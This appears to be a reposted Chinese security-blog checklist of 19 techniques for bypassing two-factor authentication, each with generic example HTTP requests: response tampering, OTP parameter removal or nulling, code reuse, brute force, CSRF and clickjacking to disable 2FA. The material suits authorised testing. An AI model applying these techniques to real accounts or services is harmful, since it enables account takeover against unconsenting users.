方法 1:响应操作
拦截来自身份验证请求的响应,并将“成功”字段从“false”修改为“true”以绕过 2FA 检查。
原始回复:
{"success": false,"message": "Authentication failed"}
编辑后的回复:
{"success": true, "message": "Authentication failed"}
方法2:状态代码操作
将HTTP状态码从4xx(表示身份验证失败)更改为200 OK状态码,查看是否允许访问。这可能会诱使系统认为身份验证成功。
原始答复:
HTTP/1.1 401 UnauthorizedContent-Type: application/json { "error": "Invalid credentials" }
编辑后的回复:
HTTP/1.1 200 OKContent-Type: application/json{"error": "Invalid credentials"}
方法3:响应中的2FA代码泄漏
检查触发 2FA 代码请求的响应,确认 2FA 代码是否在响应正文中泄露。如果泄露,则无需经过正确的 2FA 流程即可使用该代码进行身份验证。
HTTP/1.1 200 OKContent-Type: application/json{"message": "Authentication successful","2fa_code": "123456"}
方法4:2FA代码可重用性
生成2FA代码并将其用于身份验证。尝试在不同的会话中重用相同的2FA代码。成功重用可能表明存在安全漏洞。
POST /authenticateContent-Type: application/json{"username": "user123","2fa_code": "123456"}
方法五:JS文件分析
假设您正在测试一个 Web 应用程序,并且您怀疑 JavaScript 文件可能包含有关 2FA 实现的信息。
要求:
GET /path/to/suspected-js-file.js HTTP/1.1Host: example.com
回复:
HTTP/1.1 200 OKContent-Type: application/javascript// Sample JavaScript file// This file may contain information about the 2FA implementationvar twoFactorEnabled = true;var twoFactorMethod = "SMS";function authenticateWith2FA() {// Code for 2FA authentication}// ... Other JavaScript code ...
然后,您可以进一步分析JavaScript代码,以确定是否存在与2FA实现相关的任何漏洞或问题。
方法6:缺乏暴力保护
利用2FA API上没有速率限制的情况来强制执行2FA代码。尝试各种代码,直到找到正确的代码。您也可以使用Burps Suite的入侵者工具。
POST /2faContent-Type: application/json{"username": "user123","2fa_code": "123456"}
方法7:缺少2FA代码完整性验证
利用代码完整性验证的缺失来检查您是否可以将相同的2FA代码用于其他用户的2FA验证。
POST /authenticateContent-Type: application/json{"username": "user123","2fa_code": "123456"}
方法8:2FA禁用CSRF
利用CSRF保护的缺失,在用户不知情的情况下禁用2FA。
POST /disable-2faContent-Type: application/json{"disable": true}
方法 9:使用“记住我”功能绕过 2FA
尝试使用“记住我”功能绕过 2FA,该功能可能会将 2FA 信息存储在 cookie、会话、本地存储或 IP 地址中。
POST /authenticateContent-Type: application/json{"username": "user123","remember_me": true}
方法 10:直接请求发布经过身份验证的页面
GET /authenticated-api
直接点击 2FA 之后的 API 或任何经过身份验证的页面/API,看看它是否绕过了 2FA 限制。
方法 11:绕过 2FA 引用检查
导航到经过身份验证的页面,如果不成功,则将 Referer 标头更改为 2FA 页面 URL,以欺骗应用程序认为该请求是在满足 2FA 之后发出的。
GET /authenticated-pageReferer: https://example.com/2fa
方法 12:连续 OTP 号码
检查生成的 OTP 是否连续,以便预测下一个 OTP。如果系统生成的 OTP 可预测,则可以利用这一点。
有效的 OTP 请求 1:
POST /request-otpContent-Type: application/json{"2fa": "500060"}
有效的 OTP 请求 2:
POST /request-otpContent-Type: application/json{"2fa": "500061"}
方法13:删除OTP参数
尝试通过从请求中删除 OTP 参数来绕过 2FA。
原始请求:
POST /validate-otp Content-Type: application/json { "email": "[email protected]","2fa": "500061" }
修改后的请求:
POST /validate-otp Content-Type: application/json { "email": "[email protected]"}
方法 14:操作 OTP 参数值
尝试对 OTP 参数进行各种操作,看看是否可以绕过 2FA。
POST /validate-otp Content-Type: application/json {"2fa": "123456", // make it "2fa": """2fa": "123456", // make it "2fa": "null""2fa": "123456", // make it "2fa": "true""2fa": "123456", // make it "2fa": null"2fa": "123456", // make it "2fa": "00000"
方法15:密码重置/电子邮件更改禁用2FA
重置用户密码或更改电子邮件后,2FA可能会自动禁用,这可能会被利用。
方法16:滥用备份代码
尝试使用备份代码功能删除/重置2FA限制。这可能涉及在处理备份代码时发现漏洞。
方法17:在2FA禁用页面上点击劫持
尝试通过iflaming 2FA禁用页面来使用点击劫持,并在未经受害者同意的情况下对其进行社交工程以禁用2FA。
方法18:启用2FA不会使以前活动的会话过期
利用启用2FA不会使以前活动的会话过期的行为,允许在没有2FA的情况下继续进行未经授权的访问。
方法 19:2FA 代码有效性
- 请求多个 2FA 代码,并检查之前请求的 2FA 代码是否可用于进行身份验证。
- 请求 MFA 代码,等待更长时间,然后尝试使用相同的代码;成功使用可能表明存在安全漏洞。
原文始发于微信公众号(红云谈安全):全网最全-2FA绕过的19种方法
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论